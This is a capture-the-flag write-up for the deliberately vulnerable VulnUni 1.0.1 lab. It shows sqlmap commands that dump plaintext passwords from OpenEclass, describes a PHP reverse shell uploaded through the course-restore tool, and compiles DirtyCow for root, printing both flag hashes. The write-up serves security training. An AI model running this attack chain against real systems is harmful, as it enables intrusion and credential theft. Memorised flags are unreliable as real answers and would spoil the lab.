VulnUni: 1.0.1

By Lawcky 14/01/24

Introduction

Goal: Hack your University and get root access to the server.

Difficulty : easy

Additionnal info :

Name: VulnUni: 1.0.1
Release date: 20 Mar 2020
Author: emaragkos
Series: VulnUni

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• nmap
• nikto
• ffuf

---

Write-UP

ffuf

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.94/FUZZ -fc 403

all the results ==> here

---

Website

we found in the html source code of the contact.html page that there was a /vulnuni-eclass-platform.html page,

on it we found the link to the login page http://192.168.1.88/vulnuni-eclass/

we find that the site is running OpenEclass version 1.7.2

---

SQLI using sqlmap

using this exploit

we save intercept the request using burp, which we then save into a file that we will then load into sqlmap in order to exploit it.

sqlmap -r openeclasstestlogin --level=5 --risk=3 -v

we find this, which we can then use to exploit it.

sqlmap -r openeclasstestlogin -v --current-db

we now know the DB name is eclass

then we scan to see all the tables

sqlmap -r openeclasstestlogin -v -D eclass --dump

after scanning this table we discovered this table

and after a VERY long sqlmap query we get all the user’s database with the passwords stored in plaintext

sqlmap -r openeclasstestlogin -v -D eclass -T user -C username,password --dump

we know have admin access over the webapplication

---

Web Application

we found these in the config file

lets try to create a course to upload a file

we were able to upload a reverse shell through the admin tools “restore a cours” which was then executed at

http://vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/reverse_shell.php

68fc668278d9b0d6c3b9dc100bee181e

first flag found

---

Privilege Escalation

we see 2 ports that are listening in localhost

it may be the mysql from before

nothing inside.

---

DirtyCow

we download dirty cow and compile it using

gcc -pthread cowroot.c -o cowroot -lcrypt

it worked

ff19f8d0692fe20f8af33a3bfa6635dd second flag found

another possibility is the pwnkit executable that also ends up getting the flag